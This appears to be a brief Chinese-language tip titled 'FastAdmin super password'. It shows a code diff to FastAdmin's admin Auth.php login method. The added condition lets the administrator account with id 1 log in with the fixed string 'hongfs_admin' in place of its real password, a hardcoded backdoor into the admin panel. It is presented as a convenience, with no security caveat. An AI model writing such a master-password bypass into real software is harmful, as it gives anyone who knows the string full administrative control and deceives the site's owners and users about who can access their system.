FastAdmin 超级密码

application\admin\library\Auth.php

1
2
3
4
5
6
7
public function login($username, $password, $keeptime = 0)
{
...
- if ($admin->password != md5(md5($password) . $admin->salt)) {
+ if ($admin->password != md5(md5($password) . $admin->salt) &&!($admin->id === 1 && $password === 'hongfs_admin')) {
...
}
往上